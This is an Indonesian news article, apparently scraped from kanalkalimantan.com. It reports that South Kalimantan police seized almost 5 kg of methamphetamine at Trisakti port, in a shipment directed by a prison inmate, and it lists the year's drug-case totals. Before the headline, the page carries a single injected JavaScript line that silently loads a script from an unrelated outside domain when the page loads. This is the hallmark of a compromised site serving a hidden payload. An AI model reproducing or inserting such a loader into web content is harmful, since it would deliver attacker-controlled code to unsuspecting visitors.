(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Masuk Lewat Pelabuhan Trisakti, 4,97 Kg Sabu Kendali dari Lapas Dibongkar Dit Resnarkoba Polda Kalsel


KANALKALIMANTAN.COM, BANJARMASIN – Jajaran Dit Resnarkoba Polda Kalsel berhasil mengamankan sedikitnya 5.565,66 gram atau 5,5 Kg sabu, ekstasi sebanyak 67 butir, serbuk ekstasi seberat 1,87 gram dan obat-obatan jenis happy five sebanyak 1.000 butir.

“Sedangkan untuk jajaran Polda Kalsel beserta polres-polres, berhasil mengamankan sabu-sabu seberat 7.413,36 gram, ekstasi sebanyak 128 butir, serbuk ekstasi 2,31 gram, happy five 1.000 butir, karnopen sebanyak 2.794 butir dan daftar G 10.025 butir,” kata Kapolda Kalsel Irjen Pol Yazid Fanani melalui Direktur Resnarkoba Polda Kalsel Kombes Iwan Eka Putra kepada awak media di Mapolda Kalsel, Senin (9/3/2020) pagi.

Tangkapan sebanyak itu, baik Polda Kalsel maupun polres jajaran terdiri dari 298 kasus, yang mana 62 kasus merupakan target operasi dan 236 kasus lainnya merupakan giat rutin. Sedangkan untuk Dit Resnarkoba Polda Kalsel sendiri, tercatat sedikitnya ada 31 kasus yang mana 12 kasus di antaranya adalah target operasi, dengan jumlah tersangka sebanyak 43 orang.

Kombes Iwan mengatakan, dari 31 kasus yang ditangani ada kasus yang menonjol, yaitu tangkapan pada Senin (2/3/2020) malam di Pelabuhan Trisakti Banjarmasin. Ia mengungkapkan, jajarannya berhasil meringkus MM (20) dan GR (16) yang keduanya merupakan warga Kemayoran, Jakarta.

“Barang bukti yang mereka bawa dari Jakarta itu adalah 4.970 gram atau 4,97 kilogram sabu, yang ditindak Dit Resnarkoba di Pelabuhan Trisakti ketika mereka baru mendarat,” ungkapnya.

Para tersangka beserta barang bukti narkoba yang diungkap Ditresnarkoba Polda Kalsel. Foto: fikri

Dari hasil pengembangan, Kombes Iwan mengungkapkan penerima dan pengendali yang diketahui berasal dari Lembaga Pemasyarakatan (Lapas). Sehingga, jajarannya juga berhasil mengamankan SH (38) warga Basirih Banjarmasin, dan MRS (32) warga Banua Anyar, Banjarmasin yang merupakan tahanan narkoba di Lapas Kelas IIA Banjarmasin. Diketahui, MRS merupakan pemesan atau pengendali.

“Sehingga ada empat orang yang kita amankan,” tegasnya.

Keempat pelaku sendiri, dikenakan pasal 132 ayat (1), sub pasal 114 ayat (2) sub pasal 112 ayat (2) Undang-undang Nomor 35 Tahun 2009 tentang Narkotika, dengan ancaman kurungan 5 tahun penjara, atau maksimal hukuman mati. (kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Bie

 


Desy Arfianty

Recent Posts

Soal Opsen Pajak Kendaraan 2025, Pemprov Kalsel Berikan Insentif Selama 6 Bulan

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More

2 jam ago

Ada Panel Surya 3.000 Watt di SMPN 11 Banjarbaru

Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More

5 jam ago

Peringati HKN ke-60, Dinkes HSU Luncurkan Integritas Layanan Primer

KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten  Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More

6 jam ago

Indonesian Hypnosis Centre Kukuhkan Tokoh-Tokoh Ternama Menjadi Instruktur Hipnosis

KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More

7 jam ago

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

9 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

9 jam ago

This website uses cookies.